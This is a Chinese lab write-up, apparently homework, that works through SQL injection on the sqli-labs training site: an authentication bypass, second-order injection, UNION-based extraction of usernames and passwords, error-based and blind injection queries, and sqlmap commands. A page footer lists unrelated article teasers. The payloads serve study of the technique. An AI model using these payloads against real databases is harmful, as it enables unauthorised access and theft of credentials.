SQL注入作业

目录

一、万能密码和二阶注入测试

1.万能密码

2.二阶注入测试

二、联合查询注入测试

1.判断注入点

2.判断当前查询语句的列数

3.查询数据库基本信息

4.查询数据库中的数据

三、报错注入

1. 报错注入函数EXTRATVALUE 

2.UPDATEXML

 四、盲注测试

1.布尔盲注

判断数据库名字长度

猜解数据库名

获取表的个数

获取第一个表名的长度

获取第一个表名

获取列的个数

获取列的长度

获取列名的第一个字母

2.延时盲注

五、sqlmap


一、万能密码和二阶注入测试

1.万能密码

        万能密码是指输入一个特殊用户名,密码不限,来破解账号,入侵sql。比如8’ or 1=1 # ,这是一个用户名,这个输入会发生什么?

         为什么可以直接登录成功呢?我们来看看这个登录网页的数据库代码实现:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

        而我们的输入其实是

$name  = 8' or 3=3#

        替换后

…… username='8' or 3=3 #' and password='$passwd' LIMIT 0,1";

        此时,username为8 ,根据or的运算,3=3是永真式,#将后半句注释了,故这句代码执行结果永远为真,可以登录成功。

        当然,现在的数据库对这样的用户名肯定做了筛选,这属于不合法的用户名。

2.二阶注入测试

        所谓的二阶注入,利用的是,数据库系统对已有信息的“信任”,将注入的用户名输入到系统后,利用这种信任,登录到数据库其他用户,比如admin'#成功注册后,但是登录的却是admin

        注册admin'#账号

        如图,现在数据库里面有:

        admin'# 密码是123456

        admin 密码是000000

        我们现在登录我们自己注册的账号:

         我们登录后修改密码,修改密码为999999

        此时我们来登录试试:

         为什么密码错误呢?我们来观察一下数据库:

        可以观察到我们修改的是admin的密码,而不是admin'#的数据。

        实际上这个过程是,admin'# 作为用户名登录后,数据库对该用户名,密码信任,实际上这个用户名被代码替换后,登录的不是admin'# ,而是admin。修改的是admin的密码,这就是二阶注入的原理。

二、联合查询注入测试

1.判断注入点

判断是不是整型:

比如 1 and 1=1 

 

 没有显示结果,说明这不是整型。

而输入1' or '1'='1

说明这是字符型注入。

2.判断当前查询语句的列数

猜测是3列:

猜测是两列:

 

3列没有结果,2列有结果,说明当前查询语句有两列。

3.查询数据库基本信息

admin' union select user() ,database()#

需要对union强调的是,union前后的结果列数必须一样,比如这里admin'结果是两列,union的语句2必须也是两列。 

4.查询数据库中的数据

获取表名

admin' union select 1,table_name from information_schema.tables where table_schema = database() # 

获取数段名

admin' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = database() #

获取数据

admin' union select username,password from users #

三、报错注入

1. 报错注入函数EXTRATVALUE 

admin' union  select extractvalue(1,concat(0x7e, (select database()),0x7e)) #

2.UPDATEXML

 admin' union  select updatexml(1,concat(0x7e,(select version()),0x7e),1)#

 四、盲注测试

1.布尔盲注

判断数据库名字长度

无回显

有回显

说明可能为8,进行验证:

猜解数据库名

 无回显,再尝试是否大于110

有回显,再尝试是否大于115

无回显,再尝试是否大于113

有回显,再尝试是否大于114

有回显,说明可能是115

查询ascii表,说明该数据库名首字母为's'

获取表的个数

无回显,说明个数小于4

获取第一个表名的长度

无回显

有回显,说明值为6

获取第一个表名

 ?id=1' and ascii((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))) > 110 #

无回显,猜测是否大于100

有回显,猜测是否大于105

无回显,猜测是否大于103

无回显,猜测是否大于102

无回显,猜测是否等于101

查ascii表,表名第一个字母为'e'

获取列的个数

?id=1' and (select count(column_name) from information_schema.columns where table_name='users' ) > 11 #

有31个列

获取列的长度

 ?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1)) > 5 #

第一列的长度为7

获取列名的第一个字母

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))>110 # 

得到ascii为117,’u'

2.延时盲注

?id=1' and if((length(database()))=8,sleep(4),null)) #

说明数据库名长度为8

?id=1' and if(substr(database(),1,1)='s',sleep(4),null) #

说明第一个字母是's'

五、sqlmap

 python sqlmap.py -u 127.0.0.1/sqli-labs/Less-8/?id=1 

 --current-db

-D --tables

 

-T --columns

 

-C --dump

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/825999.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux搭建Discuz论坛

搭建一个论坛 —接上篇博客 改名/etc/httpd/conf.d/vhosts.conf 》/etc/httpd/conf.d/vhosts.conf.bak [rootlocalhost conf.d]# mv /etc/httpd/conf.d/vhosts.conf /etc/httpd/conf.d/vhosts.conf.bak此时的vhosts.conf是一个新创建的文件,之前的vhosts.conf已经…

使用 Godot 游戏引擎为 Apple 的 visionOS 创建游戏和应用的平台

借助GodotVision ,您可以使用Godot 游戏引擎为 Apple VisionOS创建游戏和应用程序。 保卫牛城堡,一款使用 GodotVision 制作的 VisionOS 游戏 GodotVision 运行一个控制本机RealityKit 视图的无头 Godot实例。粗略地说:Godot 是后端,

毅速3D打印随形透气钢:革新传统,引领未来

透气钢,这种多孔金属材料,既融合了金属材料的坚固性,又具备了透气材料的通透性。尤其在注塑模具的制造中,透气钢的作用不可忽视。通过镶嵌透气钢,能够有效解决因困气产生的注塑问题,使成型加工更为完善&…

机器学习鸢尾花使用csv

操作流程 下载鸢尾花数据集导入需要的包读取数据并查看数据大小和长度划分训练集和测试集使用模型评估算法 下载鸢尾花数据集 链接:https://pan.baidu.com/s/1RzZyXsaiJB3e611itF466Q?pwdj484 提取码:j484 --来自百度网盘超级会员V1的分享导入需要…

矩阵混乱度(熵值)代码计算

1、先回顾下熵值的数据公式: 2、jax.numpy代码 注意的点:熵值计算的输入的必须是归一化的正值 import jax.numpy as jnp import jax def _entroy(probs):log_probs jnp.log2(jnp.maximum(1.0e-30, probs))mean_sum_plogp jnp.mean(- jnp.sum(log_pro…

vscode+vue开发常用插件整理

前言: vscode新机开发常用插件整理 1、chinese 简体中文配置 2、file-jump 别名跳转,可以把引入的组件,通过ctrl地址名 跳转组件内部 3、Vue Peek:vue项目中的一些配置,安装后,能实现 ctrl组件名 跳转…

Golang图像处理实战:image/png包的应用详解

Golang图像处理实战:image/png包的应用详解 介绍基本操作读取PNG文件保存PNG文件 处理图像数据修改图像像素图像裁剪和缩放 高级功能使用 image/color 处理颜色优化PNG性能 错误处理与调试常见错误及其解决方法文件无法打开图像解码失败 使用工具和库进行调试 结语 …

测试数据整理--chatgpt 构造sql语句导出数据库数据

在测试过程中,我们有时候需要准备一些测试数据,若从系统中直接导出Excel数据,数据往往庞大且需要整合,不好整理,于是我们直接去数据库中查询一些表,数据整合后直接导出结果会更方便。 我们今天就 用 chatg…

shell 调用钉钉通知

使用场景:机器能访问互联网,运行时间任务后通知使用 钉钉建立单人群 手机操作,只能通过手机方式建立单人群 电脑端 2. 配置脚本 #!/bin/bash set -e## 上图中 access_token字段 TOKEN KEYWORDhello # 前文中设置的关键字 function call_…

【jinja2】模板渲染

HTML文件 return render_template(index.html)h1: 一级标题 变粗变大(狗头

B02、JVM调优案例

1、调优的基本问题 1.1、为什么要调优? 目的是防止出现OOM,进行JVM规划和预调优;解决程序运行中各种OOM;以及减少Full GC出现的频率,解决运行慢、卡顿问题。 1.2、调优的大方向 合理的编写代码,充分并合理…

大气的免费wordpress模板

国产的wordpress模板,更适合中国人使用习惯,更符合中国老板的审美的大气wordpress企业官网建站模板。 WordPress模板,也称为主题,是用于定义WordPress网站或博客外观和功能的预设计文件集。这些模板使用HTML、CSS和PHP代码构建&a…

鸢尾花数据集的KNN探索与乳腺癌决策树洞察

鸢尾花数据集的KNN探索与乳腺癌决策树洞察 今天博主做了这个KNN和决策树的实验。 一.数据集介绍 介绍一下数据集: 威斯康星州乳腺癌数据集: 威斯康星州乳腺癌数据集(Wisconsin Breast Cancer Dataset)是一个经典的机器学习数…

【简单介绍下Beego框架】

🎥博主:程序员不想YY啊 💫CSDN优质创作者,CSDN实力新星,CSDN博客专家 🤗点赞🎈收藏⭐再看💫养成习惯 ✨希望本文对您有所裨益,如有不足之处,欢迎在评论区提出…

探索 Nacos反序列化漏洞CNVD-2023-45001

在软件开发领域,安全漏洞是一项不容忽视的重要问题。最近,我们的安全团队发现了一个影响到我们的Nacos 2.1.0版本的反序列化漏洞,可能带来严重的安全威胁。我们已经立即采取了修复措施。本文将深入探讨这些漏洞的原理、可能造成的影响&#x…

MySQL数据库-优化慢查询

1、什么是慢查询? 慢查询就是SQL执行时间过长,严重影响用户体验的SQL查询语句。当它频繁出现时数据库的性能和稳定性都会受到威胁 慢查询是数据库性能瓶颈的常见原因,是指SQL执行时间超过阈值;可能由于复杂的连接、缺少索引、不恰…

Linux给磁盘扩容(LVM方式)

Linux给磁盘扩容(LVM方式) 最近测试性能,在本地打数据时,发现磁盘空间不足,于是想手动给/挂载点添加空间。这里介绍通过LVM方式快速给磁盘扩容。 LVM:是一种技术,方便管理磁盘。如果不用LVM,那…

XSS漏洞---类型+实战案例+防止

文章目录 目录 文章目录 一.XSS漏洞简介 二.XSS漏洞类型 三.实战案例 反射型XSS 存储型XSS 四.防护措施 一.XSS漏洞简介 XSS漏洞(Cross-Site Scripting)是一种常见的Web应用程序安全漏洞,它允许攻击者在受害者的浏览器中注入恶意脚本。当受…

【python】计算水仙花数

【python】计算水仙花数 "水仙花数"是指一个3位数,它的三个位上的数字的3次幂之和等于它本身。例如,"153"就是一个水仙花数,因为1^3 5^3 3^3 153。以下是一个Python代码示例,用于计算并打印出所有的三位数…

树和森林的遍历

一、树的先根遍历: 先根遍历:若树非空,先访问根结点,再依次对每棵子树进行先根遍历。 //树的先根遍历 void Pre0rder(TreeNode *R){if(R!NULL){visit(R); //访问根节点while(R还有下一个子树T)Pre0rder(T); …